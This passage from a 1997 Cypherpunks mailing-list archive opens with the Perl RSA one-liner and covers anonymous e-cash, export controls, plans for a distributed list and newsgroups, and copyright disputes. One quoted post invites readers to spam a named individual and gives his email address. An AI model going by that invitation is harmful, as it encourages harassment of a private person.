print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130526.VAA24937@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

>Having said this, the flaw remains that "junk mail" is "free" to the
>sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
>Digital postage is one approach.

I decided long ago (okay, well, many months ago) that the "solution" is to 
invent a mechanism to allow spammers/advertisers to include a small amount 
of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
are willing to pay $0.32 for postage and probably $0.50 for production, 
printing, and labelling costs, all for no guarantees of results, they should 
even more happy to pay, say, 10 cents to each recipient.  At that rate, an average 
person would probably receive enough "spam" to  pay for his Internet 
account, quite analogous to the way advertiser-supported TV is presented to 
the public for no explicit charge.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 19:26:56 -0800 (PST)
To: cypherpunks@manifold.algebra.com
Subject: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702130324.VAA12219@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi All,

I would like to set up my majordomo to request subscription
confirmations from users, by sending them a cookie. Looking at the
majordomo config files, I have not found such option.

Ideally I would like to have a system that a) requires the
new users confirm new subscriptions and b) once in a while
as users to confirm their existing subscriptions.

Is there any way to do it?

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 21:28:10 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130528.VAA00558@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 2/12/97 -0800, Hal Finney wrote:
>From: tcmay@got.net (Tim May)
>> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
>> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
>> just this issue. (He also talked for an hour on his crack of the RSA
>> challenge using 250 workstations...this was also a good talk.)
>
>I wish I could have heard that, it sounds good...
>
>A simple idea we have discussed for full anonymity uses the idea of
>exchanging coins at the bank.  You make an anonymous connection to
>the bank, supply some ecash you have received along with some blinded
>new ecash.  The bank verifies that the ecash is good and signs your
>blinded ecash, sending it back to you.  You unblind it and have good,
>fresh smelling ecash which you can keep, spend, or later deposit in
>your account.
>
>If the merchant performs this exchange operation on-line as soon as
>he receives ecash, then his anonynmity is protected.  The customer is
>protected too, by the blinding he used when he withdrew the ecash earlier.
>So both sides remain anonymous.
>
>It sounds like Ian may have worked out details of a system where third
>parties do these exchanges.  Banks may be reluctant to allow them for
>liability reasons, and the market, abhoring the vacuum, will supply
>intermediaries who perform exchanges for a fee.
>
>Resolving the various forms of cheating is the hard part.  When Lee asks
>about a signed receipt, it is hard to understand what is the point if the
>seller is fully anonymous!  A signed receipt from a freshly-minted key
>is not of much use to anyone.
>
>If the participants are using persistant pseudonyms then whatever
>reputation capital they have can be put on the line when cheating happens,
>although it still may be hard to tell who cheated whom.  Did the customer
>pass bad cash and claim it was good, or did the merchant deposit good
>cash and claim it was bad?
>
>The same thing could happen every day at the supermarket, of course.
>A customer insists they paid $20 but got change for a $10.  If dozens of
>customers say the same thing has happened to them, we start to mistrust
>the market, while if several businesses say this particular customer
>has made the same claim to them, we blame the customer.

Here is another idea.
The merchant and customer agree on a price, with the merchant knowing that
the "bank" will take a cut for their services.
The merchant and customer both LOG IN to the bank seperately, each type in
their agreed upon price and cut & paste in the services rendered
information.  If they match, the bank makes the necessary transaction
between the accounts, e-cash stash, etc.  The bank also supplies both
parties with a clear signed receipt.  The bank can now no longer alter the
receipt, as the merchant and customer both have a copy.  And the customer
and merchant can not alter the receipt, because then it would fail the test
on the signature.
If a receipt for a transaction number were used, then the only threat would
be the same one that exists for remailer operators.  This could be negated
by daisy-chaining banks in a similair manner.  If each bank took a cut of
non-customers of $.0002 or .02% of the transaction, whichever was greater,
then a suitable system could be set up.

Another idea that has been festering.  If we could get a CPA involved in
this forum, I would be willing to have h[im/er] sign my key, (which is
seldom used, mostly because this is the only place I use e-mail), for that
reasonable fee that CPA's can charge.  I know that it is not a standard, or
even legally recognized, post for CPA's, but I think that enough people
would trust them.
This would take care of some of the "newly minted" key problems.  Since
getting someone who is trusted to sign your key is a recognized method of
getting people to believe you are who you say you are.  Just an idea.
Actually two, one half thought out, one that has been bugging me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 19:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
In-Reply-To: <199702130302.VAA02808@einstein>
Message-ID: <199702130341.VAA05333@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> 
> Hi,
> 
> We have established the first link between cypherpunks@ssz.com and
> cypherpunks@algebra.com. Testing will continue for about 24 hours and we
> hope to have the link going two-way within a couple of days.
> 
> If testing proceeds at the current pace we should be ready to go for a 3-way
> link if anyone will be ready this weekend. If we can get a 3-way going we
> should be ready for prime time.


Jim,
  I suggest getting in touch with Lance Cottrell (loki@Cyberpass.net)
ASAP and coordinating with him as he has the facilities to host the
entire list, but desires the distributed approach.  He is currently
gating Cypherpunks-unedited@toad.com to subscribers of
cypherpunks@Cyberpass.net.  He would make an excellent third link in
the chain and seems to be willing.

Furthermore, he has also indicated that he is eventually interested in
gating back and forth to the newly created and already-active
alt.cypherpunks.  He needs help and information on just how to do
that, though.  This would complete the circle, syncing all the
available routes to cypherpunks.  All will benefit by having the
choice of mail-filters and/or newsreading facilities to experience the
unfiltered/unedited/unstoppable list.

Hope the experiments prove sturdy and wish all best of luck.

me

-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 18:48:35 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: anonymity and e-cash
In-Reply-To: <199702130044.QAA10501@toad.com>
Message-ID: <199702130244.VAA08897@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	In fact, the Identity Agnostic bits were Doug's, and they were
focused on the idea that a bank that did not implement blinding could
be used in an anonymous fashion by someone willing to violate the
patents.

	/*  Blind(*coin) here would violate Chaum's patent, so we
	 *  can't do that 
	 */

Adam

Tim May wrote:

| At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):

| In August of '95, Doug Barnes released a long article on "Identity
| Agnostic" systems. (His article is no longer at the www.communities.com Web
| site, so I can't refer you to it. Maybe he'll post it again.)

| In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
| Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
| some cases, not in other cases). This means that "anyone a mint" does not
| violate any of the Chaum/Digicash patents, and "mint clients" are likely to
| be written by third parties. (The _customer_ is presumably on the honor
| system to abide by the Chaum patents...except the patents are only being
| licensed to banks...go figure.)
| 
| (This is where, as I recall, Doug's "agnostic" system came in...it is
| possible his thinking was similar to Ian's...I don't have Doug's paper
| handy.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 12 Feb 1997 21:48:54 -0800 (PST)
To: Benjamin Grosman <bgrosman@magna.com.au>
Subject: Re: Transmission of Crypto material and ITAR
In-Reply-To: <199702130256.SAA18293@toad.com>
Message-ID: <3.0.1.32.19970212214638.0069729c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Unless someone in the U.S. is willing to go to the effort of capturing all
of the packets that comprise the crypto software package as they pass
through various MCI, Sprint, etc. networks (which is probably illegal in
itself, in most cases), on their way from the UK to your site in Australia
and then reassembling them in the U.S. into something that is in violation
of the export regulations, what difference does the path of the individual
packets make?

At 01:15 PM 2/13/97 -0800, you wrote:
>Dear All,
>
>I have a question regarding the impossible enforcement of ITAR/EAR:
>Naturally I cannot download crypto software from the US, but most of these
>sites have mirrors in other countries, such as the UK for PGP, and sweden
>and finland for lots of things.
>
>However, with the way that information is routed throughout the internet
>from these sites, whenever I, in Australia, request packets containing this
>data from the UK etc, it invariably passes through the US from coast to
>coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
>trying to enforce something totally unenforcable? Surely they cannot expect
>all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 
>
>Can anyone tell me what the ruling is with regards to this?
>
>Yours Sincerely,
>
>Benjamin Grosman
>
>----------------------------------------------------------------
>  Benjamin Grosman - Programmer, Magna Data Internet Solutions
>  Quidquid latine dictum sit, altum viditur.
>                  [Whatever is said in Latin sounds profound.]
>----------------------------------------------------------------
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Wed, 12 Feb 1997 18:54:09 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702150204.VAA07451@ns1.scranton.com>
Message-ID: <Pine.LNX.3.93.970212214800.14042A-100000@user1.scranton.com>
MIME-Version: 1.0
Content-Type: text/plain


       Zip,NAda,Nothing. And they have more too. They were backlogged so
some people haven't gotten their mail since I last posted about. I called
yesterday about my videos and posters and lo and behold I received my two
tech manuals today.
       The people who answer the lines are friendly and usually pretty
industrious in getting things out or done.
       By the way there is supposed to be a department split in the near
future so I don't know if manuals will be in one department and posters in
another or what.



On Wed, 12 Feb 1997, Tobin Fricke wrote:

> Date: Wed, 12 Feb 1997 18:03:35 -0800
> From: Tobin Fricke <tobin@edm.net>
> To: Moroni <moroni@scranton.com>, Genocide <gen2600@aracnet.com>
> Cc: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: Re: NSA Rainbow Series.
> 
> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Wed, 12 Feb 1997 21:54:42 -0800 (PST)
To: Path:@iwi.chico.joshuanet.com
Subject: Unsubcribe
Message-ID: <1.5.4.32.19970213055525.0068b36c@iwi.joshuanet.com>
MIME-Version: 1.0
Content-Type: text/plain


Unsubcribe <lerhuber@joshuanet.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 19:50:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
In-Reply-To: <199702111442.GAA20312@toad.com>
Message-ID: <DcN22D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This sounds like the <CENSORED> web server:

* it comes without source code
* the vendor is infamous for lying and for having security holes
* attempts to discuss the product's security result in lawyer letters.

Rick Osborne <osborne@gateway.grumman.com> writes:

> Yet another person who needs a good stern talking to by the nearest
> cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> blasphemy, which I luaghed at until I had tears in my eyes.
> --BEGIN COMPLETE STUPIDITY--
> I want to make it executable to protect the source code from being read. I
> don't want the source code available because I don't want people looking
> for security holes.
> --END COMPLETE STUPIDITY--
>
> If anyone wants to spam this guy, or at least show him the error of his
> ways, his sig explains the necessary info:
>
> David K.
> djk490s@nic.smsu.edu
>
>
> _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
> If the ionization rate is constant for all ectoplasmic entities, we could
> really bust some heads! In a spiritual sense, of course.
>
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:00:05 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: subscribe
Message-ID: <199702130600.WAA02870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:48 PM 2/12/97 -0600, Igor Chudov wrote:
>Jim Choate wrote:
>> 
>> 
>> Hi Igor,
>> 
>> > I will not impact me negatively. I do, however, suggest very strongly
>> > that hosts should be subscribed to each other thgrough another mechanism
>> > and not majordomo, in order to prevent mail loops, header rewriting and
such.
>> 
>> Suggestions? What I had in mind was that any messages that get sent on
>> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
>> with is a 'linked list' of remailers. Remailer A sends only to B and
>> receives only from C...
>> 
>> 
>>                                A
>>                              ^   v
>>                              C < B
>
>> Then to stop loops B deletes all outgoing mail from B. Since email can be
>> forwarded from many sites the search must traverse the entire forward chain
>> killing the message if B appears as a source. I suspect a simple procmail
sort
>> can accomplish this. My next step is to brush up on my procmail. I hope to
>> have something in a couple of days that will allow you to subscribe
>> cpunks@algebra to cpunks@ssz and both ends will be filtering.
>
>Here's how I do it (it is pretty close to your proposal): 
>
>1) I delete duplicate messages (by looking up the database of
>message-IDs) right away
>2) I bounce all incoming messages to several other list servers
>3) I pipe the article to majordomo for distribution.
>
>Note that majordomo changes headers and I wuold like to feed
>other servers with UNCHANGED articles.
...
>> Another nice advantage of this architecture is that 'rings' of remailers can
>> be interconnected by simply sending output to more than one site. Might even
>> be a good stability rule, "Never have a remailer send to more than 1 machine
>> in its 'own' ring". I see no limit other than resources that would limit the
>> number of rings an individual remailer might be in.
>
>A very good point.
>
...
Something to consider.  If anyone of the distributed remailers is removed
from a ring, the messages that need to travel across that ring can no longer
do that.  This makes the loop only as strong as its most at risk remailer.
The star approach has already been seen in action, the trouble here is a
single choke point.
Full interconnectability is only feasible in a small net, but I would advise
this at first.  Check for the x-loop to see if another one got it first.  If
none, add one and send it on down the line.
A disjointed mess, if the remailers are given first access to the list,
could work quite well as long as that x-loop remained to point to who sent
the message, and the x-loop contained an unalterable message number, and the
remailers could eliminate duplications, probably based on message number.
This should work as the net grows and would only be as weak as the strongest
two connected remailers.
Sounds like the internet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 19:07:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3.0.32.19970212220231.00570ed0@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain



you are forwarding messages to me... stop it.

remove markk@ra1.randomc.com from your mail list...


all of a sudden I'm getting mail from bunches of people

i don't know and who don't know me.


help me out... go to the place where you got my email

address and have them correct their links.




Thank you.              markk


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 20:06:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newgroup -- distributed mailing list on the way?
Message-ID: <m2bu9pmjv7.fsf@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

It appears that the distributed mailing-list effort is well underway.
Experiments by Igor Chudov and Jim Choate are progressing.  The next
few weeks should iron out the kinks.(over-optimism?)

Lance Cottrell (mixmaster author) has also agreed to host the list,
the entire list if need-be.  Although his posts on the cypherpunks
list indicate that he favors the distributed list approach.  Lance is
also in the unique position of having the computing resources to feed
the list to and from alt.cypherpunks.  

Furthermore, Lance seems to be favorable to this idea as well.
However, he needs help in getting up to speed on just how to create
and run this news-to-mail/mail-to-news gateway.

What this means is that the same list will be propagated through
multiple sources, making the destruction or loss of any one source
non-catastrophic.  It is also the classic net approach of routing
around censorship channels.  Furthermore, users who cannot access the
alt.* hierarchy or easily read newsgroups have the option of
subscribing to mailing lists and receiving the same uncensored feed.

This also means that users will have a maximum amount of resources at
their disposal to better experience the list and eliminate the net's
inevitable spam and noise.  Users who have access to or prefer
powerful newsreaders and NoCeM's can use them at will.  Users who have
procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes
can use those powerful tools.

It is likely that the cypherpunks list/group will remain a target of
spammers and disruptors.  The controversial topics are bound to
generate noise.  The entrance of unitiated individuals via Usenet is
bound to create some interesting and sometimes aggravating discussions
as well as the inevitable re-hashing of some old issues.  

The unfiltered, uncensored, and multi-homed list/group leaves the
responsibility where it belongs, in the lap of end-user.  Ignore the
noise and the noisemakers.  Defeat the disruptors by avoiding them.
Accept your responsiblity and contribute Signal whenever you can.

"Arise!  You have nothing to lose but your barbed-wire fences."

git along 'lil doggies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:24:07 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702122049.OAA07350@manifold.algebra.com>
Message-ID: <3302B2E9.20E3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:

> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

I would lean toward sci.crypt.cypherpunks myself.  Are there any
implications in the use of that name as to restrictions, etc.?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 20:31:07 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <19970213040230.29730.qmail@taz.nceye.net>
Message-ID: <199702130424.WAA12995@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan,

What you did may be the ideal way to go actually. It would be
great to have several NNTP servers with these (or similarly named)
groups open to the world. I believe that it is possible to set 
them up such that they feed each other.

say, the following groups may be good:

cypherpunks.crypto
cypherpunks.politics
cypherpunks.flames
cypherpunks.products
cypherpunks.pgp (sort of redundant with the pgp newsgroups)
cypherpunks.groups
cypherpunks.admin
cypherpunks.kooks
cypherpunks.remailers
cypherpunks.paranoia (or cypherpunks.tla)
cypherpunks.politics.assassination
cypherpunks.censorship

(the following part is more questionable as some people would argue in
favor of nocems)

cypherpunks.moderated.sandy-sandfort
cypherpunks.moderated.ray-arachelian
cypherpunks.moderated.tim-may
cypherpunks.moderated.... whoever else wants ...


igor

Bryan Reece wrote:
> 
>    Date: Wed, 12 Feb 1997 14:33:03 -0800
>    From: Greg Broiles <gbroiles@netbox.com>
> 
>    Yes, I installed INN and ran a few hundred test messages through it last
>    night. My machine will be on the net full-time Thursday or Friday. Will yours
>    be ready then, too? 
> 
> We've got INN here. I created a cpunks.general group (as well as
> alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
> feed hasn't got alt.cypherpunks yet; is someone who has got it willing
> to feed it?  (also, is there a consensus on what group names to use:
> new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
> with the usual propagation and spam problems?)
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 23:07:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130628.WAA06217@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Sean Roach <roach_s@alph.swosu.edu>
> Here is another idea.
> The merchant and customer agree on a price, with the merchant knowing that
> the "bank" will take a cut for their services.
> The merchant and customer both LOG IN to the bank seperately, each type in
> their agreed upon price and cut & paste in the services rendered
> information.  If they match, the bank makes the necessary transaction
> between the accounts, e-cash stash, etc.

This provides no anonymity with respect to the bank, right?  The bank
knows who is paying whom.  That's not very valuable IMO.  The bank is
still a centralized place where all this transaction information exists,
a fat target for privacy opponents.  I'd say that anonymity to the
bank is more important than anonymity to the merchant for this reason.
So I think you're going at this backwards.

> Another idea that has been festering.  If we could get a CPA involved in
> this forum, I would be willing to have h[im/er] sign my key, (which is
> seldom used, mostly because this is the only place I use e-mail), for that
> reasonable fee that CPA's can charge.  I know that it is not a standard, or
> even legally recognized, post for CPA's, but I think that enough people
> would trust them.

The big question with identity certificates is what procedures were followed
in verifying the identity when the cert was issued.  If the CPA publishes
some standard method, and his reputation is strong enough that people will
trust him to follow it, then it might well be worth money to you to have
him sign it.  This is the traditional role of the Certification Authority.

> This would take care of some of the "newly minted" key problems.  Since
> getting someone who is trusted to sign your key is a recognized method of
> getting people to believe you are who you say you are.

It depends on the circumstances where you expect to use your key.  Within
a small to medium circle of associates there may be some group members
who sign keys and are trusted by other members of the group.  There is
no particular reason for it to be difficult.  If you want a signature which
will be accepted by everyone in the U.S. you have a harder problem.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 20:24:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property rights on cypherpunks (fwd)
Message-ID: <199702130430.WAA03048@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Private property rights on cypherpunks

> I forward articles to cypherpunks that are copyrighted by my employers, or
> magazines like Playboy and Wired for which I write freelance pieces. 
> 
> I like to think these articles have some value. I will not forward any of
> them, nor would I be able to, if they magically became "public domain."
> 
> "De facto public domain" is an idea that deserves to die. Now.

Really? Do you have a priori permission from your publisher, who owns those
stories, to distribute them elsewhere?

If not please explain why I or any other person should be a willing
acomplice? You could also still post them anonymously. You could also
simply include a 'fair use' proviso somewhere.

In such a case it would be in your publishers best interest to require a
copyright notice. In that case there is no confusion about who owns those
rights. Especialy when you consider the traffic is global which means your
'implied copyright' here don't mean squat there. I suspect just about
every place that recognizes a copyright recognizes an explicit one.

Instead of "De facto public domain should die" how about,

"Implied a priori contracts should die now"

Lord a mighty, haven't you heard? Information wants to be free. Let the
thing go. If you really think your words are something that will someday win
a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
it would seem to me that implicit copyright works against the axiomatic
crypto-icon.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Wed, 12 Feb 1997 19:34:47 -0800 (PST)
To: Mark Krell <markk@randomc.com>
Subject: Re :Re?
Message-ID: <3.0.32.19970212223615.0069e468@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
:
:Attachment Converted: "c:\remove1.txt"
:
How, do you imagine, did you get on this God-forsaken list? Anger abounds. 

Is this Kismet that you are here now at this crucial moment of the list's evolution?

Perhaps you have something to offer of which you are not aware.

Avail yourself of our hospitality as we implode. Flee not.

There is meaning to this. So our savants have told us.

Speak the words to Majordomo@toad.com in the message panel (no quotes):

"unsubscribe cypherpunks"

Speak only thus.

Bother us no more at our moment of transfiguration.

Hail and farewell, Bro.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:39:16 -0800 (PST)
To: cypherpunks@algebra.com
Subject: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <3302B6C6.2A25@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for cypherpunks-unedited:
-------------------------------------------
Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 15
Tue 21 Jan: 28
Fri 24 Jan: 30
Mon 27 Jan: 34
Tue 04 Feb: 43
Tue 11 Feb: 62

When Gilmore made his pronouncement that "the subscribers have spoken",
only a minority of the "real" subscribers were on the -unedited list.

Since the above figures don't include Sandfort's entry, the jump to
62 as of yesterday (despite the discontinuance) easily represents
the majority of the active (real) subscribers.  Another blood stain
on Gilmore's shroud, as it were.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 20:00:05 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Private property rights on cypherpunks
In-Reply-To: <199702122125.NAA05544@toad.com>
Message-ID: <Pine.GSO.3.95.970212225619.1043B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I forward articles to cypherpunks that are copyrighted by my employers, or
magazines like Playboy and Wired for which I write freelance pieces. 

I like to think these articles have some value. I will not forward any of
them, nor would I be able to, if they magically became "public domain."

"De facto public domain" is an idea that deserves to die. Now.

-Declan


On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Tue, 11 Feb 1997 22:46:03 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: List for discussing many majordomos
> 
> > Yes, this is a good idea. One of the proponents of the "many majordomos"
> > project apparently has plans to impose his own ideas about intellectual
> > property on the project, and this seems like a pretty serious thing for a
> > setup that's allegedly going to prevent censorship. We need a place to
> > discuss this.
> 
> Please explain how making submissions de facto public domain censors
> anyone?
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 20:18:15 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Cypherpunks Distributed Remailer (fwd)
In-Reply-To: <199702122057.MAA04643@toad.com>
Message-ID: <199702130414.XAA09293@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
| 
| Forwarded message:
| 
| > Date: Wed, 12 Feb 1997 14:22 EDT
| > From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
| 
| > 	Umm... because you'll eventually accumulate _lots_ of addresses
| > that don't work, which will slow things down tremendously in sending
| > mail out?
| 
| The current subscription is between 1,000 and 2,000 I don't think that is
| _lots_. All we need to do is count the number of bounces per address in
| a given period, the SSZ end is trying to decide between weekly or
| monthly cleanings, and then clear that address. At no point would I need
| to archive the original bounce.

qmail has bounce management software for its list management tools.
(bounceman) "Russell Nelson has a bounce manager which <b>totally</b>
eliminates any need to deal with bounces."

www.qmail.org




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 20:26:49 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: whois cypherpunks.org ?
In-Reply-To: <199702120616.WAA07536@toad.com>
Message-ID: <199702130419.XAA09321@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Aleph1 (Levy) is a grey hatted hacker.  Amongst other things, he
moderates the bugtraq mailing list.  Decent fellow.

Adam


Anil Das wrote:
| With all this talk about relocating the home of cypherpunks, I decided to
| see if any second level domains are registered under the cypherpunks
| name.
| 
| Both cypherpunks.org and cypherpunks.com are registered by one
| Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
| though. Anybody knows more about this?
| 
| --
| Anil Das
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 12 Feb 1997 23:07:55 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <5dudd2$82h@fido.asd.sgi.com>
Message-ID: <3302C20F.2781@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
> 
> At various stages in the transition, we will be getting multiple copies of
